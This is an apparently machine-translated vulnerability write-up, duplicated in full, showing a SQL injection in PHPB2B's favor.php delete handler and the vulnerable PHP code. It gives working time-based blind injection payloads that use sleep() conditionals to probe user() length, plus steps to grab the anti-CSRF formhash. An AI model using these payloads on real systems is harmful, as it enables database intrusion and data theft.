PHPB2B SQL Injection #6

Source: Internet
Author: User

PHPB2B SQL Injection #6

PHPB2B SQL Injection #6

Latest version downloaded from the official website


Virtual-office/favor. php



1-24 rows

<?php/** *      [PHPB2B] Copyright (C) 2007-2099, Ualink Inc. All Rights Reserved. *      The contents of this file are subject to the License; you may not use this file except in compliance with the License.  * *      @version $Revision: 2075 $ */require("../libraries/common.inc.php");require("room.share.php");uses("trade");$trade = new Trade();$trade_model = new Trades();if (isset($_POST['del'])) {        pb_submit_check('id');        $ids = implode(",", $_POST['id']);        $ids = "(".$ids.")";        $sql = "DELETE FROM {$tb_prefix}favorites WHERE id IN ".$ids." AND member_id=".$the_memberid;        // var_dump($sql);        // exit();        $res = $pdb->Execute($sql);        if (!$res) {                flash("action_failed");        }}



$ Ids = implode (",", $ _ POST ['id']);

$ Ids = "(". $ ids .")";

If an array is input, it is separated by commas (,) without single quotation marks, and can be injected directly. Ignore gpc.



Here is the delete type, which can be injected with a delay.



The demo is as follows:



Add a favorite before injection to ensure that there are records in the table.



Without any parameters.

Localhost/phpb2b/virtual-office/favor. php

Right-click to view the source code.

Search formhash

 



This is to prevent csrf from being used. We will submit it together during the injection later.



Then submit the data in post mode.



Del = 1 & id [] = 1) | if (1 = 1, sleep (3), 0) | member_id = 123% 23 & formhash = 70d974296e193c32

Query user () Length

Del = 1 & id [] = 1) | if (length (user ()> 0), sleep (3), 0) | member_id = 123% 23 & formhash = 70d974296e193c32

Delay successful

Del = 1 & id [] = 1) | if (length (user ()> 20), sleep (3), 0) | member_id = 123% 23 & formhash = 70d974296e193c32

No Delay

The principle is clear. I will not continue the demonstration.

Latest version downloaded from the official website

Virtual-office/favor. php



1-24 rows

<?php/** *      [PHPB2B] Copyright (C) 2007-2099, Ualink Inc. All Rights Reserved. *      The contents of this file are subject to the License; you may not use this file except in compliance with the License.  * *      @version $Revision: 2075 $ */require("../libraries/common.inc.php");require("room.share.php");uses("trade");$trade = new Trade();$trade_model = new Trades();if (isset($_POST['del'])) {        pb_submit_check('id');        $ids = implode(",", $_POST['id']);        $ids = "(".$ids.")";        $sql = "DELETE FROM {$tb_prefix}favorites WHERE id IN ".$ids." AND member_id=".$the_memberid;        // var_dump($sql);        // exit();        $res = $pdb->Execute($sql);        if (!$res) {                flash("action_failed");        }}



$ Ids = implode (",", $ _ POST ['id']);

$ Ids = "(". $ ids .")";

If an array is input, it is separated by commas (,) without single quotation marks, and can be injected directly. Ignore gpc.



Here is the delete type, which can be injected with a delay.



The demo is as follows:



Add a favorite before injection to ensure that there are records in the table.



Without any parameters.

Localhost/phpb2b/virtual-office/favor. php

Right-click to view the source code.

Search formhash

 



This is to prevent csrf from being used. We will submit it together during the injection later.



Then submit the data in post mode.



Del = 1 & id [] = 1) | if (1 = 1, sleep (3), 0) | member_id = 123% 23 & formhash = 70d974296e193c32

Query user () Length

Del = 1 & id [] = 1) | if (length (user ()> 0), sleep (3), 0) | member_id = 123% 23 & formhash = 70d974296e193c32

Delay successful

Del = 1 & id [] = 1) | if (length (user ()> 20), sleep (3), 0) | member_id = 123% 23 & formhash = 70d974296e193c32

No Delay

The principle is clear. I will not continue the demonstration.

Solution:

Filter

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.